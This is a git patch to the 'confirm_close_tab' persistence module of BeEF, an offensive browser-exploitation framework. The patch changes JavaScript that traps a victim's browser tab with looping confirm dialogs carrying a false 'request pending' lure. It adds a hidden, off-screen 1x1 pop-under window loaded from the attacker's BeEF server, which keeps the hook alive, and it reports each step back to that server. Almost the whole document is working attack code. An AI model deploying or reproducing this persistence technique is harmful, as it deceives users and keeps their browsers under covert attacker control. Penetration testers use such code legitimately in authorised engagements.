From a677e9c746d019bad1110b7d841db257e4fd53e6 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Tue, 8 Mar 2016 15:32:36 +0100 Subject: [PATCH] Added checkbox specyfing whether to create a pop-under at user's tab closing event (module confirm_close_tab). Also extracted static confirmation message to the module's options. --- .../persistence/confirm_close_tab/command.js | 24 +++++++++++++++---- .../persistence/confirm_close_tab/module.rb | 16 +++++++++++++ 2 files changed, 36 insertions(+), 4 deletions(-) diff --git a/modules/persistence/confirm_close_tab/command.js b/modules/persistence/confirm_close_tab/command.js index 879acab0c..bc726831d 100644 --- a/modules/persistence/confirm_close_tab/command.js +++ b/modules/persistence/confirm_close_tab/command.js @@ -7,7 +7,7 @@ beef.execute(function() { function display_confirm(){ - if(confirm("Are you sure you want to navigate away from this page?\n\n There is currently a request to the server pending. You will lose recent changes by navigating away.\n\n Press OK to continue, or Cancel to stay on the current page.")){ + if(confirm("<%= @text %>")){ display_confirm(); } } @@ -15,20 +15,36 @@ beef.execute(function() { function dontleave(e){ e = e || window.event; + var usePopUnder = '<%= @usePopUnder %>'; + if(usePopUnder) { + var popunder_url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html'; + var popunder_name = Math.random().toString(36).substring(2,10); + beef.debug("[Create Pop-Under] Creating window '" + popunder_name + "' for '" + popunder_url + "'"); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window requested'); + try { + window.open(popunder_url,popunder_name,'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur(); + window.focus(); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.are.status_success()); + } catch(e) { + beef.debug("[Create Pop-Under] Could not create pop-under window"); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.are.status_error()); + } + } + if(beef.browser.isIE()){ e.cancelBubble = true; - e.returnValue = "There is currently a request to the server pending. You will lose recent changes by navigating away."; + e.returnValue = "<%= @text %>"; }else{ if (e.stopPropagation) { e.stopPropagation(); e.preventDefault(); - e.returnValue = "There is currently a request to the server pending. You will lose recent changes by navigating away."; + e.returnValue = "<%= @text %>"; } } //re-display the confirm dialog if the user clicks OK (to leave the page) display_confirm(); - return "There is currently a request to the server pending. You will lose recent changes by navigating away."; + return "<%= @text %>"; } window.onbeforeunload = dontleave; diff --git a/modules/persistence/confirm_close_tab/module.rb b/modules/persistence/confirm_close_tab/module.rb index d33b9c1bc..b15b3380e 100644 --- a/modules/persistence/confirm_close_tab/module.rb +++ b/modules/persistence/confirm_close_tab/module.rb @@ -5,6 +5,22 @@ # class Confirm_close_tab < BeEF::Core::Command + def self.options + return [{ + 'name' => 'text', + 'description' => 'Specifies message to display to the user.', + 'type' => 'textarea', + 'ui_label' => 'Confirm text', + 'value' => 'Are you sure you want to navigate away from this page?\n\n There is currently a request to the server pending. You will lose recent changes by navigating away.\n\n Press OK to continue, or Cancel to stay on the current page.', + 'width' => '400px' + }, + { 'name' => 'usePopUnder', + 'type' => 'checkbox', + 'ui_label' => 'Create a pop-under window on user\'s tab closing', + 'checked' => 'true' + }] + end + def post_execute save({'result' => @datastore['result']}) end